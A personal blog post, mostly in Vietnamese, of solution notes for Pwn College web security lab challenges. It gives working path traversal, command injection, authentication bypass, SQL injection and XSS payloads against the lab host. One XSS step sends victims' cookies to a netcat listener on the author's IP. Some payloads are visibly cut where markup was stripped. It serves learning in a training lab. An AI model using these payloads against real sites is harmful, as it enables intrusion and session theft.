920 words
5 minutes
Pwn College: Web Security
2025-06-12

IMPORTANT NOTE: tất cả các challenge đều có path (ví dụ: /server/) khác nhau, hãy coi lệnh app.route(“something”) thì something chính là path Path traversel 1: curl “http://challenge.localhost/server/%2e%2e/%2e%2e/%2e%2e/%2e%2e/flag” cần mã hóa dấu .. bài này do files + path mà ko sanitize nên lợi dụng leo directory lên root và cat flag Path traversel 2: curl “http://challenge.localhost/serve/fortunes/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/flag” tương tự trên nhưng files + strip(”/.”) tức là server tự xóa kí tự / và . ở ĐẦU và CUỐI, tức là payload như cũ như cần 1 thư mục dummy để dấu .. kẹt ở giữa => ko bị xóa CMDi 1: curl “http://challenge.localhost/goal?dir=/;cd%20%2e%2e;cat%20flag;” app.route là /goal coi directory = flask.request.args.get(“dir”, “/challenge”) thì tức là directory mặc định query tới /goal sẽ là /challenge, ta nhảy lên / rồi cat flag là xong, bài này chain commain injection bonus: dù cho có query dir=/ thì tham số ”/” chỉ ảnh hưởng tới biến directory và dc truyền vào lệnh ls -l {directory}, còn shell thì vẫn mặc định ở trong /challenge CMDi 2: curl “http://challenge.localhost:80/milestone?filepath=/%20|%20cat%20/flag” bài này replace(”;”, "") nên ko dùng chain command, ta thay bằng pipeline | remember: cat /flag, not cat flag (im wasting too much time because of this bs) CMDi 3: bài này escape dấu ’ rồi cat flag là xong, nhớ encoding url và close ’ CMDi 4: curl “http://challenge.localhost:80/task?tzid=/%20;%20cat%20/flag” bài này vận dụng các kiến thức đã làm từ 2 bài trước, nhiều cách làm khác nhau ko chỉ cách này. CMDi 5: curl -v “http://challenge.localhost/challenge?file-path=/challenge/PWN%3Bcat%20/flag%20>%20flag” cat flag bài này khó khá là weird, tự nhiên tạo file rồi redirect /flag vào tệp mình muốn trên server xong, ko cho stdout thì ok có thể hiểu dc, tự nhiên phải vào ~ rồi cat flag, wtf cái này dạy mình gì nhỉ, dạy make a backdoor in a weird way?? CMDi 6: curl “http://challenge.localhost:80/scenario?basepath=/%20%0Acat%20/flag%20” bài này replace các kí tự như trong code server, nhưng thiếu kí tự \n, hay %0A (đã urlencoding) bypass authentication 1: curl ‘http://challenge.localhost/?session_user=admin’ đọc code server thấy có dòng redirect nếu cung cấp parameter guest hoặc admin hoặc .. ta them query string rồi truy cập thẳng vào ra flag bypass authentication 2: curl ‘challenge.localhost:80’ -b ‘session_user=admin’ đọc code thấy nó check cookie nếu là admin thì ok, vậy chuyển cookie sang admin thôi sqli 1: user: admin pin: 0 or ‘1’=‘1’ remember: AND ưu tiên xử lý trước OR (ví dụ: (‘admin’ and 0) or (‘1’=‘1’)) giá trị default của pin là 1337, tức là số hay integer, vậy cứ thế mà phang số 0 vào sqli 2: user: admin pin: ’ or ‘1’=‘1’ tương tự câu sqli 1 nhưng default là 1 string, ko còn là integer sqli 3: admin” union select password from users where username = ‘admin’ — bài này giống chain commain nhưng là trong sql, hơi khó hiểu một tí khi password của admin sẽ chứa flag mình sẽ cần tìm tài khoản là admin và union nó với cột password là ra sqli 4: %” UNION SELECT tbl_name FROM sqlite_master — %” union select password from users_6265154669 — remember: 1 số hệ thống tạo bảng với tên = username và sqlite_master là table chứa mọi metadata của database chỉ trong MySQL và SQLite vậy tìm tên bảng như username trong sqlite_master là ok sqli 5: xss 1: nhập 3 lần và submit rồi invoke /challenge/victim xss 2: nhậprồi invoke /challenge/victim xss 3: invoke cái này /challenge/victim “http://challenge.localhost:80/?msg=%3Cscript%3Ealert(%22PWNED%22)%3C%2Fscript%3E” nhớ phải có ” và url encoding xss 4: invoke cái này /challenge/victim http://challenge.localhost/?msg=%3C%2Ftextarea%3E%3Cscript%3Ealert%28%22PWNED%22%29%3C%2Fscript%3E thoát khỏi textarea và chèn script phía sau nó bằng cáchxss 5: nguyên lý bài này: khi 1 user viết gì đấy và nếu ko check box publish thì nội dung lưu theo loại ‘draft’, tức là chỉ có trong database của user, các user khác ko thấy được gì. Ngược lại, nếu có check box publish thì nội dung sẽ up lên database của server và các user khác sẽ thấy mấu chốt ở chỗ khi tick dấu check box và nhấn submit thì user được đưa tới url /publish và sẽ tự động publish data của người đó lợi dụng nó, ta chèn 1 script chứa lệnh fetch tới http://challenge.localhost/publish tới database trên server chỉ cần user victim (hay admin trong bài này) nhập dữ liệu và hắn ta muốn lưu theo dạng draft, tự động script exploit sẽ được kích hoạt và GET tới /publish (coi như tick checkbox publish) và làm dữ liệu ấy publish chứ ko còn draft. vậy là ta có flag thực hiện: vào user guest hoặc hacker (credential trong code server) và nhập’) và tick nút publish rồi submit invoke /challenge/victim refresh firefox và lấy flag xss 6: y chang bài trên nhưng GET tới /publish sẽ ko còn khiến server thực hiện publish mà ta phải POST payload như sau:sau đấy invoke /challenge/victim, refresh firefox và lấy flag xss 7: nguyên lý: bạn sẽ cần tạo 1 nơi lắng nghe dữ liệu (tạo terminal và nhập nc -lv -p 1234) sau đấy nhập payload lên database server và invoke /challenge/victim payload như sau:’, {method: ‘POST’, body: document.cookie}) cái IP và port tùy bạn, cần phải check bằng ifconfig, hãy nhớ ko được là localhost vì challenge đang chạy trên localhost, bạn cần tìm hàng có chữ inet của các mạng khác, như tui là th0 với inet 10.48.169.74 còn lại thực hiện như xss 5 và xss 6